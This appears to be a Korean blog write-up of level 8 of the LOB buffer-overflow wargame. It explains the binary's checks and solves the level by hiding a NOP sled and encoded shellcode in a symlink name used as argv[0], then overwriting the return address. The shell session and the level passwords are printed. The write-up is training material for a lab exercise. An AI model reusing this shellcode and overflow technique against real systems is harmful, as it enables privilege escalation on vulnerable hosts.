LOB Level 8.
pw ='timewalker'
음................문제가 이전 몇 개부터 거의 틀이 비슷한 거 같다.
일단 argv가 2가 아니면 프로그램이 종료 => 즉 argument 무조건 1개만 사용해야 된다.
하나하나씩 보자.
일단 argument는 무조건 1개 사용. 환경변수도 사용 X. 1개의 argument의 48번째 byte는 \xbf이여야 한다.
argument의 길이가 48보다 크면 프로그램이 종료된다. 40바이트의 buffer 캐릭터 배열은 40byte만큼 0으로 덮어씌워진다. 결국 strcpy에서 40바이트에는 셀 코드를 넣지 못하고, SFP(4바이트)와 RET(4바이트)는 0으로 덮어씌워지지 않고, 리턴주소는 변경이 가능하다.
또한 사용 가능한 1개의 argument 조차도 전체 길이가 0으로 덮어씌워진다.
즉 쉘 코드를 버퍼, argument, 환경 변수에도 넣지 못한다. 즉 리턴할 새로운 곳을 연구해야 된다. /tmp 폴더에 복사한 후 gdb를 통해 스택에 올라와 있는 값들을 확인하고 /tmp/./troll 확인
이와 같이 argv[0]이 스택에 올라간다.
즉 argv[0]+A*44+"쉘 코드 주소"!!!!!!!!!!!!!!!!!!!!!!!!!
argv[0]은 심볼릭 링크를 걸어준 파일명.
아래의 화면 중 회색 부분을 말하는 것.
core 파일명을 통해 argv[0[ 주소를 확인.
[orge@localhost orge]$ ls troll troll.c [orge@localhost orge]$ ln -s troll 'python -c 'print "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'' [orge@localhost orge]$ ls troll troll.c ?????????????????????????????????????????????????????????????????? [orge@localhost orge]$ ./'python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'' 'python -c 'print "A"*44+"\x28\xfb\xff\xbf"'' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA( bash$ id uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge) bash$ my-pass euid = 508 aspirin bash$
CF) 문제 형태가 비슷하면서, 돌고 있는 거 같다. 심볼릭 링크라는 중요한 개념도 나왔다.
나중에 이에 대한 설명을 적어놓겠다.
'# Related site issues > LOB' 카테고리의 다른 글
LOB Level 9. (0) | 2018.03.28 |
---|---|
LOB Level 7. (0) | 2018.03.28 |
LOB Level 6. (0) | 2018.03.28 |
LOB Level 5. (0) | 2018.03.28 |
LOB Level 4. (0) | 2018.03.27 |